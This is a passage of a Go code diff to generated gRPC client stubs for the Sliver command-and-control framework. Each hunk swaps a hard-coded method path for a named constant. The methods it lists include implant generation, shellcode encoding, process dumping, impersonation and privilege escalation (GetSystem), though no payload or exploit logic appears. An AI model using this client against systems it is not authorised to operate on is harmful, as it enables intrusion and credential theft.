"/rpcpb.SliverRPC/CrackstationRegister", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -743,7 +900,7 @@ func (x *sliverRPCCrackstationRegisterClient) Recv() (*clientpb.Event, error) { func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackstationTrigger", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackstationTrigger_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -752,7 +909,7 @@ func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb. func (c *sliverRPCClient) CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackstationBenchmark", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackstationBenchmark_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -761,7 +918,7 @@ func (c *sliverRPCClient) CrackstationBenchmark(ctx context.Context, in *clientp func (c *sliverRPCClient) Crackstations(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Crackstations, error) { out := new(clientpb.Crackstations) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crackstations", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Crackstations_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -770,7 +927,7 @@ func (c *sliverRPCClient) Crackstations(ctx context.Context, in *commonpb.Empty, func (c *sliverRPCClient) CrackTaskByID(ctx context.Context, in *clientpb.CrackTask, opts ...grpc.CallOption) (*clientpb.CrackTask, error) { out := new(clientpb.CrackTask) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackTaskByID", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackTaskByID_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -779,7 +936,7 @@ func (c *sliverRPCClient) CrackTaskByID(ctx context.Context, in *clientpb.CrackT func (c *sliverRPCClient) CrackTaskUpdate(ctx context.Context, in *clientpb.CrackTask, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackTaskUpdate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackTaskUpdate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -788,7 +945,7 @@ func (c *sliverRPCClient) CrackTaskUpdate(ctx context.Context, in *clientpb.Crac func (c *sliverRPCClient) CrackFilesList(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*clientpb.CrackFiles, error) { out := new(clientpb.CrackFiles) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFilesList", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFilesList_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -797,7 +954,7 @@ func (c *sliverRPCClient) CrackFilesList(ctx context.Context, in *clientpb.Crack func (c *sliverRPCClient) CrackFileCreate(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*clientpb.CrackFile, error) { out := new(clientpb.CrackFile) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileCreate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileCreate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -806,7 +963,7 @@ func (c *sliverRPCClient) CrackFileCreate(ctx context.Context, in *clientpb.Crac func (c *sliverRPCClient) CrackFileChunkUpload(ctx context.Context, in *clientpb.CrackFileChunk, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileChunkUpload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileChunkUpload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -815,7 +972,7 @@ func (c *sliverRPCClient) CrackFileChunkUpload(ctx context.Context, in *clientpb func (c *sliverRPCClient) CrackFileChunkDownload(ctx context.Context, in *clientpb.CrackFileChunk, opts ...grpc.CallOption) (*clientpb.CrackFileChunk, error) { out := new(clientpb.CrackFileChunk) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileChunkDownload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileChunkDownload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -824,7 +981,7 @@ func (c *sliverRPCClient) CrackFileChunkDownload(ctx context.Context, in *client func (c *sliverRPCClient) CrackFileComplete(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileComplete", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileComplete_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -833,7 +990,7 @@ func (c *sliverRPCClient) CrackFileComplete(ctx context.Context, in *clientpb.Cr func (c *sliverRPCClient) CrackFileDelete(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileDelete", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileDelete_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -842,7 +999,7 @@ func (c *sliverRPCClient) CrackFileDelete(ctx context.Context, in *clientpb.Crac func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) { out := new(clientpb.Generate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Regenerate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Regenerate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -851,7 +1008,7 @@ func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.Regenerat func (c *sliverRPCClient) ImplantBuilds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantBuilds, error) { out := new(clientpb.ImplantBuilds) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ImplantBuilds", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ImplantBuilds_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -860,7 +1017,7 @@ func (c *sliverRPCClient) ImplantBuilds(ctx context.Context, in *commonpb.Empty, func (c *sliverRPCClient) DeleteImplantBuild(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/DeleteImplantBuild", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_DeleteImplantBuild_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -869,7 +1026,7 @@ func (c *sliverRPCClient) DeleteImplantBuild(ctx context.Context, in *clientpb.D func (c *sliverRPCClient) Canaries(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Canaries, error) { out := new(clientpb.Canaries) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Canaries", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Canaries_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -878,7 +1035,7 @@ func (c *sliverRPCClient) Canaries(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) GenerateWGClientConfig(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.WGClientConfig, error) { out := new(clientpb.WGClientConfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateWGClientConfig", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateWGClientConfig_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -887,7 +1044,7 @@ func (c *sliverRPCClient) GenerateWGClientConfig(ctx context.Context, in *common func (c *sliverRPCClient) GenerateUniqueIP(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.UniqueWGIP, error) { out := new(clientpb.UniqueWGIP) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateUniqueIP", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateUniqueIP_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -896,7 +1053,7 @@ func (c *sliverRPCClient) GenerateUniqueIP(ctx context.Context, in *commonpb.Emp func (c *sliverRPCClient) ImplantProfiles(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantProfiles, error) { out := new(clientpb.ImplantProfiles) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ImplantProfiles", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ImplantProfiles_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -905,7 +1062,7 @@ func (c *sliverRPCClient) ImplantProfiles(ctx context.Context, in *commonpb.Empt func (c *sliverRPCClient) DeleteImplantProfile(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/DeleteImplantProfile", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_DeleteImplantProfile_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -914,7 +1071,7 @@ func (c *sliverRPCClient) DeleteImplantProfile(ctx context.Context, in *clientpb func (c *sliverRPCClient) SaveImplantProfile(ctx context.Context, in *clientpb.ImplantProfile, opts ...grpc.CallOption) (*clientpb.ImplantProfile, error) { out := new(clientpb.ImplantProfile) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SaveImplantProfile", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_SaveImplantProfile_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -923,7 +1080,7 @@ func (c *sliverRPCClient) SaveImplantProfile(ctx context.Context, in *clientpb.I func (c *sliverRPCClient) MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) { out := new(clientpb.MsfStager) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MsfStage", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MsfStage_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -932,7 +1089,7 @@ func (c *sliverRPCClient) MsfStage(ctx context.Context, in *clientpb.MsfStagerRe func (c *sliverRPCClient) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) { out := new(clientpb.ShellcodeRDI) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeRDI", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ShellcodeRDI_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -941,7 +1098,7 @@ func (c *sliverRPCClient) ShellcodeRDI(ctx context.Context, in *clientpb.Shellco func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) { out := new(clientpb.Compiler) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCompiler", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetCompiler_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -950,7 +1107,7 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) { out := new(clientpb.ShellcodeEncode) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoder", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -959,7 +1116,7 @@ func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.She func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) { out := new(clientpb.ShellcodeEncoderMap) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoderMap", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoderMap_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -968,7 +1125,7 @@ func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb. func (c *sliverRPCClient) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) { out := new(clientpb.TrafficEncoderMap) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderMap", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderMap_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -977,7 +1134,7 @@ func (c *sliverRPCClient) TrafficEncoderMap(ctx context.Context, in *commonpb.Em func (c *sliverRPCClient) TrafficEncoderAdd(ctx context.Context, in *clientpb.TrafficEncoder, opts ...grpc.CallOption) (*clientpb.TrafficEncoderTests, error) { out := new(clientpb.TrafficEncoderTests) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -986,7 +1143,7 @@ func (c *sliverRPCClient) TrafficEncoderAdd(ctx context.Context, in *clientpb.Tr func (c *sliverRPCClient) TrafficEncoderRm(ctx context.Context, in *clientpb.TrafficEncoder, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -995,7 +1152,7 @@ func (c *sliverRPCClient) TrafficEncoderRm(ctx context.Context, in *clientpb.Tra func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error) { out := new(clientpb.Websites) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Websites", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Websites_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1004,7 +1161,7 @@ func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) Website(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Website", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Website_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1013,7 +1170,7 @@ func (c *sliverRPCClient) Website(ctx context.Context, in *clientpb.Website, opt func (c *sliverRPCClient) WebsiteRemove(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteRemove", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteRemove_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1022,7 +1179,7 @@ func (c *sliverRPCClient) WebsiteRemove(ctx context.Context, in *clientpb.Websit func (c *sliverRPCClient) WebsiteAddContent(ctx context.Context, in *clientpb.WebsiteAddContent, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteAddContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteAddContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1031,7 +1188,7 @@ func (c *sliverRPCClient) WebsiteAddContent(ctx context.Context, in *clientpb.We func (c *sliverRPCClient) WebsiteUpdateContent(ctx context.Context, in *clientpb.WebsiteAddContent, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteUpdateContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteUpdateContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1040,7 +1197,7 @@ func (c *sliverRPCClient) WebsiteUpdateContent(ctx context.Context, in *clientpb func (c *sliverRPCClient) WebsiteRemoveContent(ctx context.Context, in *clientpb.WebsiteRemoveContent, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteRemoveContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteRemoveContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1049,7 +1206,7 @@ func (c *sliverRPCClient) WebsiteRemoveContent(ctx context.Context, in *clientpb func (c *sliverRPCClient) Ping(ctx context.Context, in *sliverpb.Ping, opts ...grpc.CallOption) (*sliverpb.Ping, error) { out := new(sliverpb.Ping) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ping", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ping_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1058,7 +1215,7 @@ func (c *sliverRPCClient) Ping(ctx context.Context, in *sliverpb.Ping, opts ...g func (c *sliverRPCClient) Ps(ctx context.Context, in *sliverpb.PsReq, opts ...grpc.CallOption) (*sliverpb.Ps, error) { out := new(sliverpb.Ps) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ps", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ps_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1067,7 +1224,7 @@ func (c *sliverRPCClient) Ps(ctx context.Context, in *sliverpb.PsReq, opts ...gr func (c *sliverRPCClient) Terminate(ctx context.Context, in *sliverpb.TerminateReq, opts ...grpc.CallOption) (*sliverpb.Terminate, error) { out := new(sliverpb.Terminate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Terminate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Terminate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1076,7 +1233,7 @@ func (c *sliverRPCClient) Terminate(ctx context.Context, in *sliverpb.TerminateR func (c *sliverRPCClient) Ifconfig(ctx context.Context, in *sliverpb.IfconfigReq, opts ...grpc.CallOption) (*sliverpb.Ifconfig, error) { out := new(sliverpb.Ifconfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ifconfig", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ifconfig_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1085,7 +1242,7 @@ func (c *sliverRPCClient) Ifconfig(ctx context.Context, in *sliverpb.IfconfigReq func (c *sliverRPCClient) Netstat(ctx context.Context, in *sliverpb.NetstatReq, opts ...grpc.CallOption) (*sliverpb.Netstat, error) { out := new(sliverpb.Netstat) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Netstat", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Netstat_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1094,7 +1251,7 @@ func (c *sliverRPCClient) Netstat(ctx context.Context, in *sliverpb.NetstatReq, func (c *sliverRPCClient) Ls(ctx context.Context, in *sliverpb.LsReq, opts ...grpc.CallOption) (*sliverpb.Ls, error) { out := new(sliverpb.Ls) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ls", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ls_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1103,7 +1260,7 @@ func (c *sliverRPCClient) Ls(ctx context.Context, in *sliverpb.LsReq, opts ...gr func (c *sliverRPCClient) Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error) { out := new(sliverpb.Pwd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Cd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1112,7 +1269,7 @@ func (c *sliverRPCClient) Cd(ctx context.Context, in *sliverpb.CdReq, opts ...gr func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error) { out := new(sliverpb.Pwd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Pwd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Pwd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1121,7 +1278,7 @@ func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ... func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error) { out := new(sliverpb.Mv) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Mv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1130,7 +1287,7 @@ func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...gr func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error) { out := new(sliverpb.Cp) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cp", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Cp_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1139,7 +1296,7 @@ func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...gr func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) { out := new(sliverpb.Rm) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Rm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1148,7 +1305,7 @@ func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...gr func (c *sliverRPCClient) Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error) { out := new(sliverpb.Mkdir) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mkdir", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Mkdir_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1157,7 +1314,7 @@ func (c *sliverRPCClient) Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts func (c *sliverRPCClient) Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error) { out := new(sliverpb.Download) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Download", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Download_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1166,7 +1323,7 @@ func (c *sliverRPCClient) Download(ctx context.Context, in *sliverpb.DownloadReq func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, opts ...grpc.CallOption) (*sliverpb.Upload, error) { out := new(sliverpb.Upload) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Upload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Upload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1175,7 +1332,7 @@ func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, op func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error) { out := new(sliverpb.Chmod) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chmod", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Chmod_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1184,7 +1341,7 @@ func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error) { out := new(sliverpb.Chown) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chown", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Chown_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1193,7 +1350,7 @@ func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error) { out := new(sliverpb.Chtimes) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chtimes", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Chtimes_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1202,7 +1359,7 @@ func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, func (c *sliverRPCClient) MemfilesList(ctx context.Context, in *sliverpb.MemfilesListReq, opts ...grpc.CallOption) (*sliverpb.Ls, error) { out := new(sliverpb.Ls) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesList", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MemfilesList_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1211,7 +1368,7 @@ func (c *sliverRPCClient) MemfilesList(ctx context.Context, in *sliverpb.Memfile func (c *sliverRPCClient) MemfilesAdd(ctx context.Context, in *sliverpb.MemfilesAddReq, opts ...grpc.CallOption) (*sliverpb.MemfilesAdd, error) { out := new(sliverpb.MemfilesAdd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MemfilesAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1220,7 +1377,7 @@ func (c *sliverRPCClient) MemfilesAdd(ctx context.Context, in *sliverpb.Memfiles func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesRmReq, opts ...grpc.CallOption) (*sliverpb.MemfilesRm, error) { out := new(sliverpb.MemfilesRm) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MemfilesRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1229,7 +1386,7 @@ func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesR func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error) { out := new(sliverpb.ProcessDump) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ProcessDump", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ProcessDump_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1238,7 +1395,7 @@ func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessD func (c *sliverRPCClient) RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts ...grpc.CallOption) (*sliverpb.RunAs, error) { out := new(sliverpb.RunAs) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunAs", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RunAs_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1247,7 +1404,7 @@ func (c *sliverRPCClient) RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts func (c *sliverRPCClient) Impersonate(ctx context.Context, in *sliverpb.ImpersonateReq, opts ...grpc.CallOption) (*sliverpb.Impersonate, error) { out := new(sliverpb.Impersonate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Impersonate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Impersonate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1256,7 +1413,7 @@ func (c *sliverRPCClient) Impersonate(ctx context.Context, in *sliverpb.Imperson func (c *sliverRPCClient) RevToSelf(ctx context.Context, in *sliverpb.RevToSelfReq, opts ...grpc.CallOption) (*sliverpb.RevToSelf, error) { out := new(sliverpb.RevToSelf) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RevToSelf", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RevToSelf_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1265,7 +1422,7 @@ func (c *sliverRPCClient) RevToSelf(ctx context.Context, in *sliverpb.RevToSelfR func (c *sliverRPCClient) GetSystem(ctx context.Context, in *clientpb.GetSystemReq, opts ...grpc.CallOption) (*sliverpb.GetSystem, error) { out := new(sliverpb.GetSystem) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSystem", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetSystem_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1274,7 +1431,7 @@ func (c *sliverRPCClient) GetSystem(ctx context.Context, in 